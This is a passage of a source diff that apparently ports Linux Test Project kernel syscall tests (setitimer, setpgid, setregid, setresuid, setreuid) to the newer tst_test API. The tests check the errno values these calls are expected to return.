"gettimeofday(&tv1, NULL) failed"); + else + tst_res(TINFO, "Test end time: %ld.%lds", tv.tv_sec, tv.tv_usec); + } } -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) +static void setup(void) { + struct timespec time_res; - tst_sig(NOFORK, DEF_HANDLER, cleanup); + /* + * Use CLOCK_MONOTONIC_COARSE resolution for all timers, since its value is + * bigger than CLOCK_MONOTONIC and therefore can used for both realtime and + * virtual/prof timers resolutions. + */ + SAFE_CLOCK_GETRES(CLOCK_MONOTONIC_COARSE, &time_res); - TEST_PAUSE; -} + time_step = time_res.tv_nsec / 1000; + if (time_step <= 0) + time_step = 1000; -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) -{ + tst_res(TINFO, "clock low-resolution: %luns, time step: %luus", + time_res.tv_nsec, time_step); + time_sec = 9 + time_step / 1000; + time_usec = 3 * time_step; } + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .forks_child = 1, + .setup = setup, + .test = verify_setitimer, + .bufs = (struct tst_buffers[]) { + {&value, .size = sizeof(struct itimerval)}, + {&ovalue, .size = sizeof(struct itimerval)}, + {} + } +}; diff --git a/testcases/kernel/syscalls/setitimer/setitimer02.c b/testcases/kernel/syscalls/setitimer/setitimer02.c index 9ac9ce1f..b012d71f 100755 --- a/testcases/kernel/syscalls/setitimer/setitimer02.c +++ b/testcases/kernel/syscalls/setitimer/setitimer02.c @@ -8,8 +8,10 @@ /*\ * [Description] * - * Check that a setitimer() call fails with EFAULT with invalid itimerval - * pointer. + * Check that setitimer() call fails: + * + * 1. EFAULT with invalid itimerval pointer + * 2. EINVAL when called with an invalid first argument */ #include @@ -18,17 +20,26 @@ #include "tst_test.h" #include "lapi/syscalls.h" -static struct itimerval *value; +static struct itimerval *value, *ovalue; static int sys_setitimer(int which, void *new_value, void *old_value) { return tst_syscall(__NR_setitimer, which, new_value, old_value); } -static void verify_setitimer(void) +static void verify_setitimer(unsigned int i) { - TST_EXP_FAIL(sys_setitimer(ITIMER_REAL, value, (struct itimerval *)-1), - EFAULT); + switch (i) { + case 0: + TST_EXP_FAIL(sys_setitimer(ITIMER_REAL, value, (void *)-1), EFAULT); + break; + case 1: + TST_EXP_FAIL(sys_setitimer(ITIMER_VIRTUAL, value, (void *)-1), EFAULT); + break; + case 2: + TST_EXP_FAIL(sys_setitimer(-ITIMER_PROF, value, ovalue), EINVAL); + break; + } } static void setup(void) @@ -40,10 +51,12 @@ static void setup(void) } static struct tst_test test = { - .test_all = verify_setitimer, + .tcnt = 3, + .test = verify_setitimer, .setup = setup, .bufs = (struct tst_buffers[]) { - {&value, .size = sizeof(struct itimerval)}, + {&value, .size = sizeof(struct itimerval)}, + {&ovalue, .size = sizeof(struct itimerval)}, {} } }; diff --git a/testcases/kernel/syscalls/setns/setns.h b/testcases/kernel/syscalls/setns/setns.h index 46beef17..45c75991 100755 --- a/testcases/kernel/syscalls/setns/setns.h +++ b/testcases/kernel/syscalls/setns/setns.h @@ -4,7 +4,7 @@ */ #include -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" #define NS_MAX 5 static int ns_types[NS_MAX]; diff --git a/testcases/kernel/syscalls/setpgid/setpgid02.c b/testcases/kernel/syscalls/setpgid/setpgid02.c index 73e88d06..b380d7df 100755 --- a/testcases/kernel/syscalls/setpgid/setpgid02.c +++ b/testcases/kernel/syscalls/setpgid/setpgid02.c @@ -1,148 +1,62 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2022 SUSE LLC Avinesh Kumar + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer */ -/* - * NAME - * setpgid02.c - * - * DESCRIPTION - * Testcase to check that setpgid() sets errno correctly. - * - * CALLS - * setpgid - * - * ALGORITHM - * Checks that setpgid returns the correct errno values in case of - * negative testing. - * test 1: EINVAL - Pass '-1' as the pgid parameter to setpgid - * test 2: ESRCH - Pass '-1' as the pid parameter to setpgid - * test 3: EPERM - Pass an invalid pgid parameter to setpgid - * - * USAGE: - * setpgid02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. +/*\ + * [Description] * - * HISTORY - * 07/2001 Ported by Wayne Boyer + * Verify that setpgid(2) syscall fails with: * - * RESTRICTIONS - * None + * - EINVAL when given pgid is less than 0. + * - ESRCH when pid is not the calling process and not a child of + * the calling process. + * - EPERM when an attempt was made to move a process into a nonexisting + * process group. */ + #include #include -#include -#include "test.h" - -static void setup(void); -static void cleanup(void); - -char *TCID = "setpgid02"; -int TST_TOTAL = 3; +#include "tst_test.h" -static pid_t pgid, pid; -static pid_t bad_pid = -1; -static pid_t zero_pid; -static pid_t unused_pid; -static pid_t inval_pid = 99999; +static pid_t pgid, pid, ppid, inval_pgid; +static pid_t negative_pid = -1; -struct test_case_t { +static struct tcase { pid_t *pid; pid_t *pgid; int error; -} TC[] = { - /* pgid is less than zero - EINVAL */ - { - &pid, &bad_pid, EINVAL}, - /* pid doesn't match any process - ESRCH */ - { - &unused_pid, &pgid, ESRCH}, - /* pgid doesn't exist - EPERM */ - { - &zero_pid, &inval_pid, EPERM} +} tcases[] = { + {&pid, &negative_pid, EINVAL}, + {&ppid, &pgid, ESRCH}, + {&pid, &inval_pgid, EPERM} }; -int main(int ac, char **av) -{ - int lc; - int i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - /* reset tst_count in case we are looping */ - tst_count = 0; - - /* loop through the test cases */ - for (i = 0; i < TST_TOTAL; i++) { - - TEST(setpgid(*TC[i].pid, *TC[i].pgid)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - continue; - } - - if (TEST_ERRNO == TC[i].error) { - tst_resm(TPASS, "expected failure - " - "errno = %d : %s", TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TFAIL, "unexpected error - %d : %s - " - "expected %d", TEST_ERRNO, - strerror(TEST_ERRNO), TC[i].error); - } - } - } - cleanup(); - - tst_exit(); -} - -/* - * setup - performs all ONE TIME setup for this test - */ static void setup(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - pgid = getpgrp(); pid = getpid(); + ppid = getppid(); + pgid = getpgrp(); - unused_pid = tst_get_unused_pid(cleanup); + /* + * pid_max would not be in use by another process and guarantees that + * it corresponds to an invalid PGID, generating EPERM. + */ + SAFE_FILE_SCANF("/proc/sys/kernel/pid_max", "%d\n", &inval_pgid); } -/* - * cleanup - Performs all ONE TIME cleanup for this test at completion or - * premature exit - */ -static void cleanup(void) +static void run(unsigned int n) { + struct tcase *tc = &tcases[n]; + TST_EXP_FAIL(setpgid(*tc->pid, *tc->pgid), tc->error, + "setpgid(%d, %d)", *tc->pid, *tc->pgid); } + +static struct tst_test test = { + .setup = setup, + .test = run, + .tcnt = ARRAY_SIZE(tcases) +}; diff --git a/testcases/kernel/syscalls/setpgid/setpgid03.c b/testcases/kernel/syscalls/setpgid/setpgid03.c index 51e0eeb2..9ce2603d 100755 --- a/testcases/kernel/syscalls/setpgid/setpgid03.c +++ b/testcases/kernel/syscalls/setpgid/setpgid03.c @@ -1,163 +1,69 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved. * Copyright (c) 2014 Cyril Hrubis - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (C) 2021 SUSE LLC Andrea Cervesato */ -/* - * Test to check the error and trivial conditions in setpgid system call +/*\ + * [Description] + * + * Tests setpgid(2) errors: * - * EPERM - The calling process, process specified by pid and the target - * process group must be in the same session. + * - EPERM The process specified by pid must not be a session leader. * - * EACCESS - Proccess cannot change process group ID of a child after child - * has performed exec() + * - EPERM The calling process, process specified by pid and the target + * process group must be in the same session. + * + * - EACCESS Proccess cannot change process group ID of a child after child + * has performed exec() */ -#include -#include -#include -#include -#include -#include -#include #include -#include "test.h" +#include +#include "tst_test.h" #define TEST_APP "setpgid03_child" -char *TCID = "setpgid03"; -int TST_TOTAL = 1; - -static void do_child(void); -static void setup(void); -static void cleanup(void); - -int main(int ac, char **av) +static void do_child(void) { - int child_pid; - int status; - int rval; - int lc; - - tst_parse_opts(ac, av, NULL, NULL); -#ifdef UCLINUX - maybe_run_child(&do_child, ""); -#endif - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* Child is in new session we are not alowed to change pgid */ - if ((child_pid = FORK_OR_VFORK()) == -1) - tst_brkm(TBROK, cleanup, "fork() failed"); - - if (child_pid == 0) { -#ifdef UCLINUX - if (self_exec(av[0], "") < 0) - tst_brkm(TBROK, cleanup, "self_exec failed"); -#else - do_child(); -#endif - } - - TST_SAFE_CHECKPOINT_WAIT(cleanup, 0); - rval = setpgid(child_pid, getppid()); - if (rval == -1 && errno == EPERM) { - tst_resm(TPASS, "setpgid failed with EPERM"); - } else { - tst_resm(TFAIL, - "retval %d, errno %d, expected errno %d", - rval, errno, EPERM); - } - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - - if (wait(&status) < 0) - tst_resm(TFAIL | TERRNO, "wait() for child 1 failed"); - - if (!(WIFEXITED(status)) || (WEXITSTATUS(status) != 0)) - tst_resm(TFAIL, "child 1 failed with status %d", - WEXITSTATUS(status)); - - /* Child after exec() we are no longer allowed to set pgid */ - if ((child_pid = FORK_OR_VFORK()) == -1) - tst_resm(TFAIL, "Fork failed"); - - if (child_pid == 0) { - if (execlp(TEST_APP, TEST_APP, NULL) < 0) - perror("exec failed"); - - exit(127); - } - - TST_SAFE_CHECKPOINT_WAIT(cleanup, 0); - rval = setpgid(child_pid, getppid()); - if (rval == -1 && errno == EACCES) { - tst_resm(TPASS, "setpgid failed with EACCES"); - } else { - tst_resm(TFAIL, - "retval %d, errno %d, expected errno %d", - rval, errno, EACCES); - } - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - - if (wait(&status) < 0) - tst_resm(TFAIL | TERRNO, "wait() for child 2 failed"); - - if (!(WIFEXITED(status)) || (WEXITSTATUS(status) != 0)) - tst_resm(TFAIL, "child 2 failed with status %d", - WEXITSTATUS(status)); - } - - cleanup(); - tst_exit(); + SAFE_SETSID(); + TST_CHECKPOINT_WAKE_AND_WAIT(0); } -static void do_child(void) +static void run(void) { - if (setsid() < 0) { - printf("CHILD: setsid() failed, errno: %d\n", errno); - exit(2); - } + pid_t child_pid; - TST_SAFE_CHECKPOINT_WAKE(NULL, 0); + child_pid = SAFE_FORK(); + if (!child_pid) { + do_child(); + return; + } - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); + TST_CHECKPOINT_WAIT(0); - exit(0); -} + TST_EXP_FAIL(setpgid(child_pid, getppid()), EPERM); + /* Child did setsid(), so its PGID is set to its PID. */ + TST_EXP_FAIL(setpgid(0, child_pid), EPERM); -static void setup(void) -{ - tst_sig(FORK, DEF_HANDLER, cleanup); + TST_CHECKPOINT_WAKE(0); - tst_tmpdir(); + /* child after exec() we are no longer allowed to set pgid */ + child_pid = SAFE_FORK(); + if (!child_pid) + SAFE_EXECLP(TEST_APP, TEST_APP, NULL); - TST_CHECKPOINT_INIT(tst_rmdir); + TST_CHECKPOINT_WAIT(0); - umask(0); + TST_EXP_FAIL(setpgid(child_pid, getppid()), EACCES); - TEST_PAUSE; + TST_CHECKPOINT_WAKE(0); } -static void cleanup(void) -{ - tst_rmdir(); -} +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/syscalls/setpgid/setpgid03_child.c b/testcases/kernel/syscalls/setpgid/setpgid03_child.c index 2657422a..fdb22f24 100755 --- a/testcases/kernel/syscalls/setpgid/setpgid03_child.c +++ b/testcases/kernel/syscalls/setpgid/setpgid03_child.c @@ -1,32 +1,16 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation; either version 2 of - * the License, or (at your option) any later version. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (C) 2021 SUSE LLC Andrea Cervesato */ -#include "test.h" - -char *TCID = "setpgid03_child"; - +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" int main(void) { - TST_CHECKPOINT_INIT(NULL); - - TST_SAFE_CHECKPOINT_WAKE(NULL, 0); - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); + tst_reinit(); + TST_CHECKPOINT_WAKE_AND_WAIT(0); return 0; } diff --git a/testcases/kernel/syscalls/setregid/setregid01.c b/testcases/kernel/syscalls/setregid/setregid01.c index 8c9e1191..741028a4 100755 --- a/testcases/kernel/syscalls/setregid/setregid01.c +++ b/testcases/kernel/syscalls/setregid/setregid01.c @@ -15,14 +15,16 @@ * Co-pilot: Dave Fenner */ -/* - * Testcase to test the basic functionality of setregid(2) systemm call. +/*\ + * [Description] + * + * Verify the basic functionality of setregid(2) system call. */ #include "tst_test.h" #include "compat_tst_16.h" -static gid_t gid, egid; /* current real and effective group id */ +static gid_t gid, egid; static gid_t neg_one = -1; static struct tcase { @@ -30,23 +32,18 @@ static struct tcase { gid_t *arg2; const char *msg; } tcases[] = { - {&neg_one, &neg_one, "Dont change either real or effective gid" }, + {&neg_one, &neg_one, "Leave real and effective both gids unchanged" }, {&neg_one, &egid, "Change effective to effective gid" }, {&gid, &neg_one, "Change real to real gid" }, {&neg_one, &gid, "Change effective to real gid" }, - {&gid, &gid, "Try to change real to current real" } + {&gid, &gid, "Change real and effective both gids to current real gid" } }; static void run(unsigned int n) { struct tcase *tc = &tcases[n]; - TEST(SETREGID(*tc->arg1, *tc->arg2)); - - if (TST_RET == -1) - tst_res(TFAIL | TTERRNO, "%s", tc->msg); - else - tst_res(TPASS, "%s", tc->msg); + TST_EXP_PASS(SETREGID(*tc->arg1, *tc->arg2), "%s:", tc->msg); } static void setup(void) diff --git a/testcases/kernel/syscalls/setresuid/setresuid04.c b/testcases/kernel/syscalls/setresuid/setresuid04.c index e197476f..57b290f3 100755 --- a/testcases/kernel/syscalls/setresuid/setresuid04.c +++ b/testcases/kernel/syscalls/setresuid/setresuid04.c @@ -1,223 +1,73 @@ -/******************************************************************************/ -/* Copyright (c) Kerlabs 2008. */ -/* Copyright (c) International Business Machines Corp., 2008 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ -/* - * NAME - * setresuid04.c - * - * DESCRIPTION - * Check if setresuid behaves correctly with file permissions. - * The test creates a file as ROOT with permissions 0644, does a setresuid - * and then tries to open the file with RDWR permissions. - * The same test is done in a fork to check if new UIDs are correctly - * passed to the son. - * - * USAGE: - * setresuid04 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Created by Renaud Lottiaux +// SPDX-License-Identifier: GPL-2.0-or-later +/* Copyright (c) Kerlabs 2008. + * Copyright (c) International Business Machines Corp., 2008 + * Copyright (c) 2022 SUSE LLC Avinesh Kumar + */ + +/*\ + * [Description] * - * RESTRICTIONS - * Must be run as root. + * Verify that setresuid() behaves correctly with file permissions. + * The test creates a file as ROOT with permissions 0644, does a setresuid + * to change euid to a non-root user and tries to open the file with RDWR + * permissions, which should fail with EACCES errno. + * The same test is done in a fork also to check that child process also + * inherits new euid and open fails with EACCES. + * Test verifies the successful open action after reverting the euid back + * ROOT user. */ -#define _GNU_SOURCE 1 -#include -#include -#include + #include -#include -#include -#include "test.h" -#include "safe_macros.h" #include -#include "compat_16.h" +#include "tst_test.h" +#include "compat_tst_16.h" -TCID_DEFINE(setresuid04); -int TST_TOTAL = 1; -char nobody_uid[] = "nobody"; -char testfile[256] = ""; -struct passwd *ltpuser; +#define TEMP_FILE "testfile" +static char nobody_uid[] = "nobody"; +static struct passwd *ltpuser; +static int fd = -1; -int fd = -1; - -void setup(void); -void cleanup(void); -void do_master_child(); - -int main(int ac, char **av) +static void setup(void) { - pid_t pid; - - tst_parse_opts(ac, av, NULL, NULL); - setup(); - - pid = FORK_OR_VFORK(); - if (pid < 0) - tst_brkm(TBROK, cleanup, "Fork failed"); + ltpuser = SAFE_GETPWNAM(nobody_uid); + UID16_CHECK(ltpuser->pw_uid, "setresuid"); - if (pid == 0) - do_master_child(); - - tst_record_childstatus(cleanup, pid); - - cleanup(); - tst_exit(); + fd = SAFE_OPEN(TEMP_FILE, O_CREAT | O_RDWR, 0644); } -/* - * do_master_child() - */ -void do_master_child(void) +static void run(void) { - int lc; - int pid; + pid_t pid; int status; - for (lc = 0; TEST_LOOPING(lc); lc++) { - int tst_fd; - - /* Reset tst_count in case we are looping */ - tst_count = 0; - - if (SETRESUID(NULL, 0, ltpuser->pw_uid, 0) == -1) { - perror("setresuid failed"); - exit(TFAIL); - } - - /* Test 1: Check the process with new uid cannot open the file - * with RDWR permissions. - */ - TEST(tst_fd = open(testfile, O_RDWR)); - - if (TEST_RETURN != -1) { - printf("open succeeded unexpectedly\n"); - close(tst_fd); - exit(TFAIL); - } - - if (TEST_ERRNO == EACCES) { - printf("open failed with EACCES as expected\n"); - } else { - perror("open failed unexpectedly"); - exit(TFAIL); - } - - /* Test 2: Check a son process cannot open the file - * with RDWR permissions. - */ - pid = FORK_OR_VFORK(); - if (pid < 0) - tst_brkm(TBROK, NULL, "Fork failed"); - - if (pid == 0) { - int tst_fd2; + TST_EXP_PASS_SILENT(SETRESUID(-1, ltpuser->pw_uid, -1)); + TST_EXP_FAIL2(open(TEMP_FILE, O_RDWR), EACCES); - /* Test to open the file in son process */ - TEST(tst_fd2 = open(testfile, O_RDWR)); - - if (TEST_RETURN != -1) { - printf("call succeeded unexpectedly\n"); - close(tst_fd2); - exit(TFAIL); - } - - if (TEST_ERRNO == EACCES) { - printf("open failed with EACCES as expected\n"); - exit(TPASS); - } else { - printf("open failed unexpectedly\n"); - exit(TFAIL); - } - } else { - /* Wait for son completion */ - if (waitpid(pid, &status, 0) == -1) { - perror("waitpid failed"); - exit(TFAIL); - } - - if (!WIFEXITED(status)) - exit(TFAIL); - - if (WEXITSTATUS(status) != TPASS) - exit(WEXITSTATUS(status)); - } - - /* Test 3: Fallback to initial uid and check we can again open - * the file with RDWR permissions. - */ - tst_count++; - if (SETRESUID(NULL, 0, 0, 0) == -1) { - perror("setresuid failed"); - exit(TFAIL); - } - - TEST(tst_fd = open(testfile, O_RDWR)); - - if (TEST_RETURN == -1) { - perror("open failed unexpectedly"); - exit(TFAIL); - } else { - printf("open call succeeded\n"); - close(tst_fd); - } + pid = SAFE_FORK(); + if (!pid) { + TST_EXP_FAIL2(open(TEMP_FILE, O_RDWR), EACCES); + return; } - exit(TPASS); -} - -/* - * setup() - performs all ONE TIME setup for this test - */ -void setup(void) -{ - tst_require_root(); + SAFE_WAITPID(pid, &status, 0); + if (WIFEXITED(status) && WEXITSTATUS(status) != 0) + tst_res(TFAIL, "child process exited with status: %d", status); - ltpuser = getpwnam(nobody_uid); - - UID16_CHECK(ltpuser->pw_uid, "setresuid", cleanup) - - tst_tmpdir(); - - sprintf(testfile, "setresuid04file%d.tst", getpid()); - - /* Create test file */ - fd = SAFE_OPEN(cleanup, testfile, O_CREAT | O_RDWR, 0644); - - tst_sig(FORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + TST_EXP_PASS_SILENT(SETRESUID(-1, 0, -1)); + TST_EXP_FD(open(TEMP_FILE, O_RDWR)); + SAFE_CLOSE(TST_RET); } -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit - */ -void cleanup(void) +static void cleanup(void) { - close(fd); - - tst_rmdir(); - + if (fd > 0) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .cleanup = cleanup, + .needs_root = 1, + .needs_tmpdir = 1, + .forks_child = 1 +}; diff --git a/testcases/kernel/syscalls/setresuid/setresuid05.c b/testcases/kernel/syscalls/setresuid/setresuid05.c index c00d07b1..efdcbd18 100755 --- a/testcases/kernel/syscalls/setresuid/setresuid05.c +++ b/testcases/kernel/syscalls/setresuid/setresuid05.c @@ -1,104 +1,49 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2014 Fujitsu Ltd. * Author: Zeng Linggang - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - */ -/* - * Test Description: - * Verify that, - * File system UID is always set to the same value as the (possibly new) - * effective UID. + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -#define _GNU_SOURCE +/*\ + * [Description] + * + * Verify that after updating euid with setresuid(), any file creation + * also gets the new euid as its owner user ID. + */ -#include -#include #include #include -#include "test.h" -#include "safe_macros.h" -#include "compat_16.h" +#include "tst_test.h" +#include "compat_tst_16.h" -TCID_DEFINE(setresuid05); -int TST_TOTAL = 1; +#define TEMP_FILE "testfile" static struct passwd *ltpuser; -static void setup(void); -static void setresuid_verify(void); -static void cleanup(void); - -int main(int argc, char **argv) -{ - int i, lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) - setresuid_verify(); - } - - cleanup(); - tst_exit(); -} static void setup(void) { - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - tst_tmpdir(); - - ltpuser = SAFE_GETPWNAM(cleanup, "nobody"); - - UID16_CHECK(ltpuser->pw_uid, "setresuid", cleanup) + ltpuser = SAFE_GETPWNAM("nobody"); + UID16_CHECK(ltpuser->pw_uid, "setresuid"); } -static void setresuid_verify(void) +static void run(void) { struct stat buf; - TEST(SETRESUID(cleanup, -1, ltpuser->pw_uid, -1)); - - if (TEST_RETURN != 0) { - tst_resm(TFAIL | TTERRNO, "setresuid failed unexpectedly"); - return; - } + TST_EXP_PASS(SETRESUID(-1, ltpuser->pw_uid, -1)); - SAFE_TOUCH(cleanup, "test_file", 0644, NULL); + SAFE_TOUCH(TEMP_FILE, 0644, NULL); + SAFE_STAT(TEMP_FILE, &buf); - SAFE_STAT(cleanup, "test_file", &buf); + TST_EXP_EQ_LI(ltpuser->pw_uid, buf.st_uid); - if (ltpuser->pw_uid == buf.st_uid) { - tst_resm(TPASS, "setresuid succeeded as expected"); - } else { - tst_resm(TFAIL, - "setresuid failed unexpectedly; euid(%d) - st_uid(%d)", - ltpuser->pw_uid, buf.st_uid); - } + SAFE_UNLINK(TEMP_FILE); + TST_EXP_PASS_SILENT(SETRESUID(-1, 0, -1)); } -static void cleanup(void) -{ - if (seteuid(0) < 0) - tst_resm(TWARN | TERRNO, "seteuid failed"); - - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/setreuid/setreuid01.c b/testcases/kernel/syscalls/setreuid/setreuid01.c index 54ba2d7a..7c2b6d58 100755 --- a/testcases/kernel/syscalls/setreuid/setreuid01.c +++ b/testcases/kernel/syscalls/setreuid/setreuid01.c @@ -1,176 +1,40 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - * Author: William Roske - * Co-pilot: Dave Fenner + * Author: William Roske + * Co-pilot: Dave Fenner + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Testcase to test the basic functionality of setreuid(2) system call. +/*\ + * [Description] + * + * Verify the basic functionality of setreuid(2) system call when executed + * as non-root user. */ -#include -#include -#include -#include +#include "tst_test.h" +#include "compat_tst_16.h" -#include "test.h" -#include "compat_16.h" +static uid_t ruid, euid; -static void setup(void); -static void cleanup(void); - -TCID_DEFINE(setreuid01); -int TST_TOTAL = 5; - -static uid_t ruid, euid; /* real and effective user ids */ - -int main(int ac, char **av) +static void run(void) { - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * TEST CASE: - * Don't change either real or effective uid - */ - ruid = getuid(); /* get real uid */ - UID16_CHECK(ruid, setreuid, cleanup); - - euid = geteuid(); /* get effective uid */ - UID16_CHECK(euid, setreuid, cleanup); - - TEST(SETREUID(cleanup, -1, -1)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, - "setreuid - Don't change either real or effective uid failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - tst_resm(TPASS, - "setreuid - Don't change either real or effective uid returned %ld", - TEST_RETURN); - } - - /* - * TEST CASE: - * change effective to effective uid - */ - - TEST(SETREUID(cleanup, -1, euid)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, - "setreuid - change effective to effective uid failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - tst_resm(TPASS, - "setreuid - change effective to effective uid returned %ld", - TEST_RETURN); - } - - /* - * TEST CASE: - * change real to real uid - */ - - TEST(SETREUID(cleanup, ruid, -1)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, - "setreuid - change real to real uid failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - tst_resm(TPASS, - "setreuid - change real to real uid returned %ld", - TEST_RETURN); - } - - /* - * TEST CASE: - * change effective to real uid - */ - - TEST(SETREUID(cleanup, -1, ruid)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, - "setreuid - change effective to real uid failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - tst_resm(TPASS, - "setreuid - change effective to real uid returned %ld", - TEST_RETURN); - } - - /* - * TEST CASE: - * try to change real to current real - */ - - TEST(SETREUID(cleanup, ruid, ruid)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, - "setreuid - try to change real to current real failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - tst_resm(TPASS, - "setreuid - try to change real to current real returned %ld", - TEST_RETURN); - } - - } - - cleanup(); - tst_exit(); -} - -static void setup(void) -{ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - 